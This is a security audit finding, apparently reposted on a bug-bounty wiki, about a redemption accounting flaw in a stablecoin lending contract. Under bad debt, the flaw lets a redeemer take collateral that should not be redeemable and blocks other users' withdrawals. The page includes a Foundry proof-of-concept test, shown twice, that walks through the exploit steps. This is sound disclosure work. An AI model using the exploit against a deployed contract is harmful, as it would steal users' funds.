Accounting will be broken if a user redeems when there is a bad debt position
When a user redeems while another position is in bad debt, the redemption accounting credits more collateral to the redeemer than the contract actually holds. This lets a redeemer take collateral that should not be redeemable and leaves other users unable to withdraw their funds.
0xnija Follow with DevBear0411, Edoscoba and 12 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/1127
Found by
0xnija, DevBear0411, Edoscoba, Proof-of-Spirit, blockace, bughuntoor, deadmanwalking, future, gabkov, itsabinashb, legat, neeloy, touristS, xiaoming90, zcai
Summary
When redeeming, a user repays part of everyone's debt and also gets a proportional part of their collateral. The problem is that in case there's a position in bad debt and a user redeems, accounting will account for redeeming more collateral from that user than they have. This would effectively allow users to redeem non-redeemable collateral and would leave some users impossible to withdraw their funds.
// repay on behalf of free debtors
totalFreeDebt -= amountIn;
coin.transferFrom(msg.sender, address(this), amountIn);
coin.burn(amountIn);
// distribute collateral redemption per free debt share (in internal representation)
epochRedeemedCollateral[epoch] += internalAmountOut.mulDivUp(1e36, totalFreeDebtShares);
Assume the following situation - there's two free debt borrowers, one has $500k collateral and $1m debt and other one has $1m collateral and $100k debt. Another user can come and make a redeem for $1.1m and will receive $1.1m collateral. Since the 2nd user only has $100k debt, they should be left with $900k collateral. However, the remaining collateral in the Lender contract would be just $400k. There would be a shortcut of $500k collateral in the contract.
Root Cause
Wrong logic
Internal Pre-conditions
Bad debt
Affected Code
Attack Path
Check PoC
function test_breakAccounting() public {
address user = address(1);
address user2 = address(2);
ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
ERC20Mock coin = ERC20Mock(address(lender.coin()));
FeedMock feed = FeedMock(address(lender.feed()));
vm.startPrank(user);
collateral.mint(user, 1e40);
coin.mint(user, 1e40);
collateral.approve(address(lender), type(uint256).max);
coin.approve(address(lender), type(uint256).max);
lender.setRedemptionStatus(user, true);
lender.adjust(user, 1_000_000e18, 500_000e18);
vm.startPrank(user2);
collateral.mint(user2, 1_000_000e18);
collateral.approve(address(lender), type(uint256).max);
lender.setRedemptionStatus(user2, true);
lender.adjust(user2, 1_000_000e18, 0);
feed.setPrice(0.25e18); // $250k bad debt
vm.startPrank(user);
lender.redeem(500_000e18 - 1, 0);
vm.startPrank(user2);
vm.expectRevert();
lender.adjust(user2, -1_000_000e18, 0);
}
Impact
Loss of funds, broken invariants, user cannot withdraw their funds.
PoC
function test_breakAccounting() public {
address user = address(1);
address user2 = address(2);
ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
ERC20Mock coin = ERC20Mock(address(lender.coin()));
FeedMock feed = FeedMock(address(lender.feed()));
vm.startPrank(user);
collateral.mint(user, 1e40);
coin.mint(user, 1e40);
collateral.approve(address(lender), type(uint256).max);
coin.approve(address(lender), type(uint256).max);
lender.setRedemptionStatus(user, true);
lender.adjust(user, 1_000_000e18, 500_000e18);
vm.startPrank(user2);
collateral.mint(user2, 1_000_000e18);
collateral.approve(address(lender), type(uint256).max);
lender.setRedemptionStatus(user2, true);
lender.adjust(user2, 1_000_000e18, 0);
feed.setPrice(0.25e18); // $250k bad debt
vm.startPrank(user);
lender.redeem(500_000e18 - 1, 0);
vm.startPrank(user2);
vm.expectRevert();
lender.adjust(user2, -1_000_000e18, 0);
}
Mitigation
fix is non-trivial
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A redeemer could take collateral that should not be redeemable, causing loss of funds and leaving other users unable to withdraw.
What the attacker needed
A position in bad debt exists; attacker holds redeemable debt
The fix
The redemption accounting should be corrected so collateral is only distributed against debt that is actually repayable, but the report states the fix is non-trivial.
How it was found
- Set up two borrowers: one with 1m debt and 500k collateral, another with 1m collateral and no debt.
- Drop the price so the first borrower is in bad debt.
- Have the first borrower redeem almost all of their debt.
- Attempt to withdraw the second borrower's full collateral and observe the transaction reverts.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A lending contract lets people deposit collateral and borrow a stablecoin. When someone repays debt, they get a share of the collateral back. The report shows that if one borrower is underwater (their debt is worth more than their collateral), the maths for handing out collateral goes wrong, so one person can take more than their fair share and others are left short.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.